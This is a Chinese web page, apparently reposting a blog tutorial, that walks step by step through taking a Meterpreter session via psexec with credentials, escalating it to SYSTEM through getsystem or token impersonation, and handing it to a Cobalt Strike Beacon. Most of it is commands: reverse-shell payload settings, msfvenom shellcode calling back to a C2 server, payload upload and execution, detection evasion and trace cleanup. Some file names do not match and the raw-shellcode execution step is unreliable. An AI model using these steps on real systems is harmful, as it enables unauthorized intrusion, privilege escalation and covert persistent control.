欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 产业 > MSF上线到CS工具中 实战方案(可执行方案)

MSF上线到CS工具中 实战方案(可执行方案)

2025/4/5 15:32:20 来源:https://blog.csdn.net/zhzx123aa/article/details/146171842  浏览:    关键词:MSF上线到CS工具中 实战方案(可执行方案)

目录

实际案例背景

步骤详解

1. 获取低权限 Meterpreter 会话

1.1 使用 Metasploit 获取会话

2. 提权到 SYSTEM 权限

2.1 使用 getsystem 自动提权

2.2 如果 getsystem 失败:使用令牌冒充 (incognito 模块)

3. 上线到 Cobalt Strike

3.1 生成 Cobalt Strike Payload (Beacon)

3.2 在目标系统上执行 Beacon Payload

3.3 使用 Meterpreter 转发会话到 Cobalt Strike

4. 验证与稳定控制

5. 整体项目方案总结

前期准备

提权阶段

上线 Cobalt Strike

后续管理

注意事项


  • 描述如何使用 Metasploit(msf)提权目标主机到 SYSTEM 权限,并将提权后的会话迁移到 Cobalt Strike 工具中。

实际案例背景

  • 目标系统:Windows 10(存在已知的权限提升漏洞或可利用的令牌)
  • 初始情况:已通过 Metasploit 成功获取一个低权限的 Meterpreter 会话。
  • 目标
    • 提权到 SYSTEM 权限。
    • 将提权后的会话转移到 Cobalt Strike 中管理和控制。


步骤详解

1. 获取低权限 Meterpreter 会话

1.1 使用 Metasploit 获取会话
  1. 启动 Metasploit 控制台:
    msfconsole
    
  2. 使用一个合适的漏洞模块,例如 SMB 远程代码执行(假设已经有弱口令或凭证):
    use exploit/windows/smb/psexec
    
  3. 设置攻击参数:
    set RHOSTS <目标IP>
    set SMBUser <用户名>
    set SMBPass <密码>
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST <本地IP>
    set LPORT 4444
    
  4. 执行攻击:
    exploit
    
    成功后会得到一个低权限的 Meterpreter 会话,例如:
    [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.150:49215)
    

2. 提权到 SYSTEM 权限

2.1 使用 getsystem 自动提权
  1. 切换到低权限会话:
    sessions -i 1
    
  2. 尝试自动提权:
    getsystem
    
  3. 可能的返回:
    [*] Got SYSTEM via technique 1.
    
  4. 验证提权结果:
    getuid
    
    如果返回:
    Server username: NT AUTHORITY\SYSTEM
    
    则说明提权成功。

2.2 如果 getsystem 失败:使用令牌冒充 (incognito 模块)
  1. 加载 incognito 扩展:
    load incognito
    
  2. 列出可用令牌:
    list_tokens -u
    
    可能看到:
    [*] Available tokens:NT AUTHORITY\SYSTEMDOMAIN\Administrator
    
  3. 冒充 SYSTEM 令牌:
    impersonate_token "NT AUTHORITY\\SYSTEM"
    
  4. 再次验证权限:
    getuid
    
    应返回 SYSTEM 权限。

3. 上线到 Cobalt Strike

3.1 生成 Cobalt Strike Payload (Beacon)
  • 在 Cobalt Strike 中生成 Payload(Beacon)。

  • Cobalt Strike Console -> Cobalt Strike 菜单 -> Attacks -> Packages -> Windows Executable (S)。

  • 选择 Payload 类型:windows/beacon_http/reverse_http 或其他你配置的类型。

  • 配置监听器、域名、端口等参数。
  • 导出为可执行文件 (EXE) 或 Shellcode (RAW/BIN)。
  • 将 Payload 上传到目标系统。 在 Meterpreter 会话中:

upload /home/hao/12.exe C:\\Windows\\Temp\\12.exe


3.2 在目标系统上执行 Beacon Payload
  • 在 Meterpreter 中,执行上传的 Beacon:
execute -f C:\\Windows\\Temp\\14.exe

  • Cobalt Strike 会自动捕获到 Beacon 会话(如果配置正确的话)。
    • 在 Cobalt Strike 中,导航到 View -> Beacons 查看上线的会话。
    • 若成功,则会在 Beacon 管理界面看到新上线的会话,权限应为 SYSTEM。


3.3 使用 Meterpreter 转发会话到 Cobalt Strike

如果无法直接执行 Beacon Payload,也可以使用 msfvenom 生成 Shellcode 并在 Cobalt Strike 中监听。步骤如下:

  • 生成 Raw Shellcode (Cobalt Strike 控制台):
    msfvenom -p windows/meterpreter/reverse_http LHOST=<Cobalt Strike 服务器IP> LPORT=80 -f raw > /tmp/cs_shellcode.raw
    

  • 上传并注入 Shellcode
    • 上传:

  • upload /tmp/cs_shellcode.raw C:\\Windows\\Temp\\cs_shellcode.raw
    
  • 注入:
    execute -f C:\\Windows\\Temp\\cs_shellcode.raw
    
  • Cobalt Strike 捕获会话
    • 同样在 View -> Beacons 中查看。

4. 验证与稳定控制

  1. 验证 SYSTEM 权限
    在 Cobalt Strike 的 Beacon 控制台中执行:

    shell whoami
    

    应返回:

    NT AUTHORITY\SYSTEM
    
  2. 保持会话稳定

    • 使用 Cobalt Strike 的 Sleep 功能,设置通信时间间隔,避免被防火墙检测。
    • 配置 HTTPS 或 DNS 通道,增加隐蔽性。
  3. 清理痕迹

    • 删除上传的 Payload 和临时文件:
      rm C:\\Windows\\Temp\\beacon.exe
      
    • 使用 Cobalt Strike 的 Artifact Kit 生成更隐蔽的 Payload。

5. 整体项目方案总结

前期准备
  • 确保 Metasploit 和 Cobalt Strike 配置正确。
  • 确保目标环境合法授权,并已获取初始的 Meterpreter 低权限会话。
提权阶段
  • 优先尝试 getsystem 提权,失败则用 incognito 进行令牌冒充。
  • 确保成功获得 SYSTEM 权限。
上线 Cobalt Strike
  • 生成 Beacon Payload 并通过 Meterpreter 执行上线。
  • 确保会话成功捕获,并能稳定通信。
后续管理
  • 使用 Cobalt Strike 的功能进行进一步横向移动、信息收集与持久化。
  • 合理使用 Sleep 和加密通信,避免被检测。

注意事项

  • 合法授权:所有步骤必须在目标系统所有者明确授权下进行。
  • 权限验证:每一步都要及时验证当前权限,避免操作失败。
  • 安全清理:完成后,及时清理所有上传的工具和脚本,避免留下痕迹。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词